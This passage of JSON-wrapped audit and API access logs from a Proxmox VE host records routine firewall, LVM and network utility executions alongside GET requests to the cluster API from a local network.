a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965026540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965026.540:63691): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964316707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964195376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.376:59978): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff4f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57594 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.641:68872): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138ca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965510665,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964594964,"@rawstring":"node=pve type=EXECVE msg=audit(1781964594.964:61678): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965709023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965709.023:66766): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205665,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.665:68875): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965026540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965026.540:63690): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61103 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315577,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964194989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964194.989:59977): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec030 a1=64f8d73d5240 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966205.630:68871): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ba4b00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965510665,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964594959,"@rawstring":"node=pve type=EXECVE msg=audit(1781964594.959:61675): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965705362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.362:66761): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdfefb2650 a1=58fe293fe310 a2=58fe293f7680 a3=5 items=1 ppid=64122 pid=64123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205656,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.656:68874): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965026533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965026.533:63688): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964312985,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 857"} {"@timestamp":1781964194963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964194.963:59976): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417af0 a1=64f8d73ee430 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966204343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966204.343:68870): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73af370 a1=64f8d73dcfb0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965510665,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964594825,"@rawstring":"node=pve type=EXECVE msg=audit(1781964594.825:61672): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965705253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.253:66743): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe9e619930 a1=5714ada1f410 a2=5714ad9fd680 a3=5 items=1 ppid=64103 pid=64104 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205650,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.650:68873): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965026533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965026.533:63687): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964312985,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781964193259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964193.259:59975): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966204311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966204.311:68869): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bc0f0 a1=64f8d7414f60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965509582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964594787,"@rawstring":"node=pve type=EXECVE msg=audit(1781964594.787:61671): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965704018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.018:66733): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205641,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.641:68872): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965025874,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.874:63683): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd029a3000 a1=651e090cb200 a2=651e090a9680 a3=5 items=1 ppid=61095 pid=61096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964311758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964193245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964193.245:59972): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57588 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966201.221:68868): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72535b0 a1=637ee72543d0 a2=637ee7240ef0 a3=8 items=2 ppid=66128 pid=66130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965509582,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964589942,"@rawstring":"node=pve type=EXECVE msg=audit(1781964589.942:61670): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965704018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.018:66732): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205630,"@rawstring":"node=pve type=EXECVE msg=audit(1781966205.630:68871): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965025791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965025.791:63665): arch=c000003e syscall=59 success=no exit=-2 a0=7ffebd235580 a1=5bbefa8b5410 a2=5bbefa893680 a3=5 items=1 ppid=61076 pid=61077 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964308574,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1070"} {"@timestamp":1781964188237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964188.237:59969): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966201.221:68867): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242ea0 a1=637ee7254820 a2=637ee7240ef0 a3=8 items=2 ppid=66128 pid=66129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508473,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964589936,"@rawstring":"node=pve type=EXECVE msg=audit(1781964589.936:61667): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965704012,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.012:66730): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966204343,"@rawstring":"node=pve type=EXECVE msg=audit(1781966204.343:68870): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965021518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.518:63644): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964188228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964188.228:59966): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57586 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966201218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966201.218:68866): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254580 a1=637ee7256210 a2=637ee7257220 a3=8 items=2 ppid=846 pid=66127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508473,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964586089,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.089:61664): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965704011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965704.011:66729): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966204311,"@rawstring":"node=pve type=EXECVE msg=audit(1781966204.311:68869): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965021518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.518:63643): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61062 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964185365,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.365:59963): arch=c000003e syscall=59 success=yes exit=0 a0=55ee108940e0 a1=55ee10890e60 a2=55ee10872680 a3=5 items=2 ppid=57579 pid=57585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966200.785:68865): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965508473,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781964586085,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.085:61663): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965699003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965699.003:66727): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=EXECVE msg=audit(1781966201.221:68868): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965021509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.509:63641): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964304657,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1074"} {"@timestamp":1781964185362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.362:59962): arch=c000003e syscall=59 success=yes exit=0 a0=55edd6abfac8 a1=7ffdcc28ec00 a2=55ee10872680 a3=55edd6aa324e items=2 ppid=57579 pid=57581 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966200.779:68862): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965507163,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964586084,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.084:61662): argc=1 a0=\"date\""} {"@timestamp":1781965699003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965699.003:66726): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966201221,"@rawstring":"node=pve type=EXECVE msg=audit(1781966201.221:68867): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965021508,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965021.508:63640): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61061 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964303645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:05:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964185361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.361:59961): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdcc28ebc0 a1=55ee10879310 a2=55ee10872680 a3=5 items=2 ppid=57579 pid=57580 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.763:68859): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965507163,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964586080,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.080:61660): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965698.996:66724): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966201218,"@rawstring":"node=pve type=EXECVE msg=audit(1781966201.218:68866): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965016501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965016.501:63638): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964300615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1074"} {"@timestamp":1781964185357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.357:59959): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57579 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.752:68856): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" 